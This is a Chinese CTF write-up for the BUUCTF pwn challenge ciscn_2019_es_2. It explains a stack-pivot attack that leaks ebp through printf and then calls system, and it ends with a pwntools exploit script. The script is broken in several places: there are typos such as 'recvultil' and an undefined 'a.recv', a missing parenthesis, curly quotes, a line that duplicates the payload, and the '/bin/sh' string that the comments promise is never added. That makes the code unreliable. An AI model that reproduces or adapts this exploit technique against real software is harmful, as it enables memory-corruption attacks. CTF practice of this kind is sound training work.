1. 程式人生 > 實用技巧 >『BUUCTF』:PWN | ciscn_2019_es_2

『BUUCTF』:PWN | ciscn_2019_es_2

附件

checksec檢視防護:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA靜態分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  
return 0; }
Main

主函式沒有什麼資訊,接著檢視vul()函式

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}

可以實現棧溢位,但是溢位長度不夠,能夠覆蓋到rbp,但是沒有現成的後門函式。

這題的解題方法為棧遷移,但是這題不同於一般棧遷移的地方在不將棧遷移到bss或者是data段,而是將棧遷移到棧上。通過第一次print獲取到字串s在棧上的地址,第二次寫入fake棧並進行棧遷移。

首先檢視下溢位的長度為0x24+0x04,想要知道s的地址還需要知道ebp到s的距離為0xffffc1f8-0xffffc1c0 = 0x38,我們通過第一次print將ebp的地址洩露再算出s的地址。

00:0000│ ecx esp  0xffffc1c0 ◂— 'aaaa\n'
01:00040xffffc1c4 ◂— 0xa /* '\n' */
02:00080xffffc1c8 ◂— 0x0
... ↓
08:00200xffffc1e0 —▸ 0x80486d8 ◂— push   edi /* "Welcome, my friend. What's your name?" 
*/ 09:00240xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3c7 ◂— 0x6d6f682f ('/hom') 0a:0028│ ebp 0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0

exp寫的很細:

#coding:utf-8
from pwn import *

io = process("./program")
context(arch = 'i386',os='linux',log_level='debug')

system_addr = 0x8048400
leave_ret = 0x08048562

payload = 'a'*27 +'b'
#這裡的payload需要把ebp前面的空間填滿,避免下面的print遇到\x00截斷,然後順利得到ebp的地址。
io.recvuntil("name?")
io.send(payload)
io.recvultil("aaab")
#在·····aaaaaab之後就是ebp的地址了
s_addr = u32(a.recv(4)) - 0x38
print(hex(s_addr))
payload2 = 'aaaa' 
#給棧遷移後ebp留出來的空間
payload2 += p32(system_addr)
#這裡是放入fake棧後的system_plt函式的地址,待會就是要執行這個函數了
payload2 += ‘dead’
payload2 += p32(s_addr + 0x10#這個位置應該是system的引數,但是程式中並沒有現成的,所以只能把'/bin/sh\x00'寫到後面,然後這裡填s的地址加上16的偏移就是引數了,接下來就是把s填充滿0x28,再後面的內容就是實現棧遷移了。
payload2 += payload2.ljust(0x28,'c')
payload2 += p32(s_addr) + p32(leave_ret)
io.send(payload2)

io.interactive()